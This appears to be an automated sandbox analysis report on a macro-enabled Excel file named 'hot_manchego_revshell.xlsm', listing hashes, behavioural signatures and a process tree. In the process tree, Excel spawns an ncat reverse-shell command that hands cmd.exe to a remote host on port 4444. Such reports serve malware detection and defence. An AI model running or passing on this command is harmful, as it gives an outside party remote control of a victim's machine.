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Analysis

  • max time kernel
    102s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/10/2022, 20:31

General

  • Target

    hot_manchego_revshell.xlsm

  • Size

    3KB

  • MD5

    62ce212e91b2c0dcb5d0c190ed0489c0

  • SHA1

    5ca2c21016fce83481cd987ca9ce52de906e6de1

  • SHA256

    d432ad560b6be9543e26db61030b256fe51c72be4c2b4ef8c4656f97dfadc5c5

  • SHA512

    ff105688cfb2301bd42e50ed223176ce7676474fa53327d5e1aa3a1e653972120cd5e6d65be43e239f4722752e7e5c6a4dddd830f9a969ac47e10486b3d0ea98

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\hot_manchego_revshell.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5080
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c ncat 192.168.0.10 4444 -e C:\Windows\System32\cmd.exe
      2⤵
      • Process spawned unexpected child process
      PID:4040

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/5080-132-0x00007FFFACC30000-0x00007FFFACC40000-memory.dmp

    Filesize

    64KB

  • memory/5080-133-0x00007FFFACC30000-0x00007FFFACC40000-memory.dmp

    Filesize

    64KB

  • memory/5080-134-0x00007FFFACC30000-0x00007FFFACC40000-memory.dmp

    Filesize

    64KB

  • memory/5080-135-0x00007FFFACC30000-0x00007FFFACC40000-memory.dmp

    Filesize

    64KB

  • memory/5080-136-0x00007FFFACC30000-0x00007FFFACC40000-memory.dmp

    Filesize

    64KB

  • memory/5080-137-0x00007FFFAA5D0000-0x00007FFFAA5E0000-memory.dmp

    Filesize

    64KB

  • memory/5080-138-0x00007FFFAA5D0000-0x00007FFFAA5E0000-memory.dmp

    Filesize

    64KB

  • memory/5080-141-0x00007FFFACC30000-0x00007FFFACC40000-memory.dmp

    Filesize

    64KB

  • memory/5080-142-0x00007FFFACC30000-0x00007FFFACC40000-memory.dmp

    Filesize

    64KB

  • memory/5080-143-0x00007FFFACC30000-0x00007FFFACC40000-memory.dmp

    Filesize

    64KB

  • memory/5080-144-0x00007FFFACC30000-0x00007FFFACC40000-memory.dmp

    Filesize

    64KB